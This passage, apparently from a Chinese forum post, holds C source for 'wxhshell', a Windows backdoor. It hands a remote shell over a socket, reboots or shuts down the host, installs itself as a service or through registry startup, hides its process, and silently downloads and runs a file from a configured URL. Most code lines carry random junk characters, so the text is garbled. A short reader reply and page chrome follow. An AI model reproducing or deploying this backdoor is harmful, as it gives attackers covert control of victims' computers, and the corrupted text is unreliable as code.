  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6puVw-X  
  } 4 4<v9uSK  
  else { wXcMt>3  
<>&89E%j'  
    switch(cmd[0]) { c&A]pLn+x  
  z0;9SZ9  
  // 帮助 4)E|&)-fu8  
  case '?': { d v[\.T`LY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uegb;m  
    break; :Lc3a$qtx5  
  } L77EbP`P  
  // 安装 mf~Lzp  
  case 'i': { X,&xhSzg?  
    if(Install()) {\luieG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VlV)$z_  
    else excrXx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :SQ LfOQ  
    break; bCt_y R  
    } w0$R`MOR+  
  // 卸载 w@2~`<Hk'"  
  case 'r': { tNYJQ  
    if(Uninstall()) j^rYFS w:Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F;X"3F.!  
    else *<?XTs<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ha5 bD%  
    break; |9x%gUm  
    } jPj 2  
  // 显示 wxhshell 所在路径 BQuRHi IV  
  case 'p': { f{f_g8f[  
    char svExeFile[MAX_PATH]; !HvGlj@(|  
    strcpy(svExeFile,"\n\r"); CR.bMF}  
      strcat(svExeFile,ExeFile); `M,Nd'5&|  
        send(wsh,svExeFile,strlen(svExeFile),0); xV?*!m$V%R  
    break; $xQ"PJ2  
    } yX3PUO9  
  // 重启 phe"JNML  
  case 'b': { "zXGp7Q'#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ys)+9yPPn  
    if(Boot(REBOOT)) Sr-|,\/O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /AoVl'R  
    else { wd"TM  
    closesocket(wsh); bD  d_}  
    ExitThread(0); N:A3kp  
    } 5nY9Ls(e  
    break; CN-4-  
    } exsQmbj* %  
  // 关机 vs+ We*8H  
  case 'd': { 8~}s 3j4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >QA/Mi~R  
    if(Boot(SHUTDOWN)) 'G52<sF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "h QV9 [2\  
    else { S]vW&r3`  
    closesocket(wsh); 6xyY+  
    ExitThread(0); FBYll[8  
    } a (P^e)<  
    break; P_v0))n{  
    } }FHw" {my  
  // 获取shell EqVsxwa  
  case 's': { C+T&O  
    CmdShell(wsh); qjJ{+Rz2  
    closesocket(wsh); $+0=GN  
    ExitThread(0); `D4oAx d9  
    break; `!]R!T@C  
  } 4n#YDZ  
  // 退出 >7"$}5d  
  case 'x': { "^Y6ctw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E`Q;DlXv>  
    CloseIt(wsh); 7&=-a|k~  
    break; p| Vmdnb  
    } ;HR 6X  
  // 离开 `8mD7xsg$  
  case 'q': { RfD{g"]y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fFjLp l  
    closesocket(wsh); r[6#G2  
    WSACleanup(); U.HoFf+HN  
    exit(1); z7| s%&  
    break; |*Of^IkG0  
        } -m E  
  }  { VS''Lv  
  } ?e"Wu+q~L  
pCz@(:0  
  // 提示信息 t1G1(F#&%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~*jsB=XM/  
} @gH(/pFX  
  } >6*(}L9  
 Y>xi|TWN  
  return; nXv 7OEpTx  
} XulaPq  
aytq4Ts  
// shell模块句柄 X!HDj<  
int CmdShell(SOCKET sock) )!'Fa_$ e  
{ R5m`;hF  
STARTUPINFO si; NG!>7$@RV  
ZeroMemory(&si,sizeof(si)); tZdwy>;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8f /T!5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MF f05\aDu  
PROCESS_INFORMATION ProcessInfo; cWgbd^J  
char cmdline[]="cmd"; unCt4uX^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vf"O/o}hq,  
  return 0; x{=[w`  
} LDT'FwMjy  
z0\;m{TH  
// 自身启动模式 Y1#-^,qg  
int StartFromService(void) c-[Q,c  
{ aQl?d<|+lk  
typedef struct 7(yXsVq  
{ }f<fgY  
  DWORD ExitStatus; [?Mc4uT{  
  DWORD PebBaseAddress; +vSCR (n  
  DWORD AffinityMask; 6{b%Jfo  
  DWORD BasePriority; Wv6z%r<  
  ULONG UniqueProcessId; CPc"  
  ULONG InheritedFromUniqueProcessId; >2]Eaw&W  
}   PROCESS_BASIC_INFORMATION; * i=?0M4S  
w{_e"N  
PROCNTQSIP NtQueryInformationProcess; 04I6 -}6  
Y&oP>n! ei  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ):/<H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y_}K?  
} l:mN  
  HANDLE             hProcess; }2-[Ki yv  
  PROCESS_BASIC_INFORMATION pbi; z*Myokhf  
%E4$ZPSW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7$g*N6)Q  
  if(NULL == hInst ) return 0; ^U-vD[O8  
Ymwx (Pm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sf+(1_^`t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zF[3%qZE:T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4]Un=?)I  
Y{%4F%Oy  
  if (!NtQueryInformationProcess) return 0; )ZS:gD  
K*([9VZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g`%ED0aR  
  if(!hProcess) return 0; W HlD %u  
|#DC.Ga!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7bgnZ]r8t  
\SYPu,ZT  
  CloseHandle(hProcess); &Iv\jhq  
n;-x!Gs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  aX>4Tw  
if(hProcess==NULL) return 0; ?)A]q' O  
x:f|3"\s  
HMODULE hMod; O vyB<r  
char procName[255]; Gk{ "O%AE  
unsigned long cbNeeded; 4 +da  
t-v^-#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LV}UBao5n  
OhSt6&+  
  CloseHandle(hProcess); |%M{k A-  
sYAG,r>h  
if(strstr(procName,"services")) return 1; // 以服务启动 '0'"k2"vC  
hW0,5>[7%  
  return 0; // 注册表启动 Ff)~clIK '  
} adRNrt*!  
r6O7&Me<  
// 主模块 '<R B  
int StartWxhshell(LPSTR lpCmdLine) q3,P|&T  
{ ,xAM[h&  
  SOCKET wsl; Y(#d8o}}#  
BOOL val=TRUE; _'?8s6 H  
  int port=0; RT.wTJS;  
  struct sockaddr_in door; -(4E  
|x _ -I#H  
  if(wscfg.ws_autoins) Install(); _|^&eT-u  
yS:IRI.  
port=atoi(lpCmdLine); J[<D/WIH  
;55tf l  
if(port<=0) port=wscfg.ws_port; sx;V,"Y  
vWnHC  
  WSADATA data; vOvxQS}dBp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &J5-'{U|0  
u7WTSL%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HKEop  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k$UzBxR  
  door.sin_family = AF_INET; Mm>zpB`qP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3/A[LL|  
  door.sin_port = htons(port); :=iM$_tp'  
W(u6J#2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZbZAx:L  
closesocket(wsl); >,] eL  
return 1; =0@d|LeZ  
} %#S"~)  
r|JiGj^om  
  if(listen(wsl,2) == INVALID_SOCKET) { g|GvJ)VX  
closesocket(wsl);  rvwl  
return 1; Ab^>z  
} )CwMR'LV  
  Wxhshell(wsl); .(MbP  
  WSACleanup(); ^B&ahk  
^ RcIE (  
return 0; ReHd~G9  
\V"P maP\  
} @MlU!oR&  
<WHs  
// 以NT服务方式启动 "a0u-}/D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~kSnXJv  
{ f}9PEpa,Z  
DWORD   status = 0; H/^TXqQ8  
  DWORD   specificError = 0xfffffff; lH,]ZA./  
XoH[MJC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *Lb(urf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0?5%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fl#VKU3h  
  serviceStatus.dwWin32ExitCode     = 0; n&3iv ^  
  serviceStatus.dwServiceSpecificExitCode = 0; Gw\G+T?M-  
  serviceStatus.dwCheckPoint       = 0; 'sjJSc  
  serviceStatus.dwWaitHint       = 0; 9GtVI^]  
RV#uy]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zs3]|bUR  
  if (hServiceStatusHandle==0) return; @T,H.#bL  
! 6p)t[s  
status = GetLastError(); 7&RJDa:a7T  
  if (status!=NO_ERROR) PPj6QJ]R0  
{ (Qh7bfd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A&}nRP9  
    serviceStatus.dwCheckPoint       = 0; r 0?hX  
    serviceStatus.dwWaitHint       = 0; {'c%#\  
    serviceStatus.dwWin32ExitCode     = status; WDH[kJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; u':0"5}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :m)Rmwn_  
    return; SqA+u/"j2  
  } `!Ge"JB6   
qy42Y/8'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o+X'(!Trw  
  serviceStatus.dwCheckPoint       = 0; >QZt)<[  
  serviceStatus.dwWaitHint       = 0; OB*Xb*HN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iRj x];:Vu  
} d4/`:?w  
f@;>M9)<  
// 处理NT服务事件,比如:启动、停止 zZ+LisSs&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BJO~$/R?v  
{ _OknP2E  
switch(fdwControl) Xb+if  
{ q/w6sQx$  
case SERVICE_CONTROL_STOP: T`w};]z^d2  
  serviceStatus.dwWin32ExitCode = 0; *09\\ G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8O.:3%D~ t  
  serviceStatus.dwCheckPoint   = 0; 21/a3Mlx#  
  serviceStatus.dwWaitHint     = 0; GdfK xSO  
  { sw qky5_K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E/L?D  
  } P=SxiXsr$  
  return; h@>rjeY@  
case SERVICE_CONTROL_PAUSE: G5QgnxwP2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /nMqEHCyg  
  break; '/yx_R K2?  
case SERVICE_CONTROL_CONTINUE: $ Op/5j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {^$"/hj  
  break; VQ,\O  
case SERVICE_CONTROL_INTERROGATE: 1:;&wf  
  break; LnRi+n[@7  
}; A]SB c2   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !7Nz W7j  
} t 1RwB23  
8#Z\}gGz  
// 标准应用程序主函数 %dk$K!5D0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "za*$DU  
{ MlC-Aad(  
K` _E>k  
// 获取操作系统版本 gH{\y5%rO  
OsIsNt=GetOsVer(); C#?d=x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b1>$sPJ+  
4qSS<SqY  
  // 从命令行安装 qYu!:xa8  
  if(strpbrk(lpCmdLine,"iI")) Install(); C@?e`=9(  
%`T^qh_dE  
  // 下载执行文件 *(SBl}f4l  
if(wscfg.ws_downexe) { A$"$`)P!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #u=O 5%.  
  WinExec(wscfg.ws_filenam,SW_HIDE); M4hN#0("4  
} fN*4(yw  
ubCJZ"!  
if(!OsIsNt) { k#=leu"I  
// 如果时win9x,隐藏进程并且设置为注册表启动 7quwc'!  
HideProc(); r+#V{oE_  
StartWxhshell(lpCmdLine); piiQ  
} 98%tws`  
else (B/F6 X;o.  
  if(StartFromService()) IO&#)Ft  
  // 以服务方式启动 k2tX$\E  
  StartServiceCtrlDispatcher(DispatchTable); (zLIv9$  
else ]'ApOp  
  // 普通方式启动 CD<u@l,1  
  StartWxhshell(lpCmdLine); g-V\ s&}  
dBq,O%$oq  
return 0; @Kb|  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五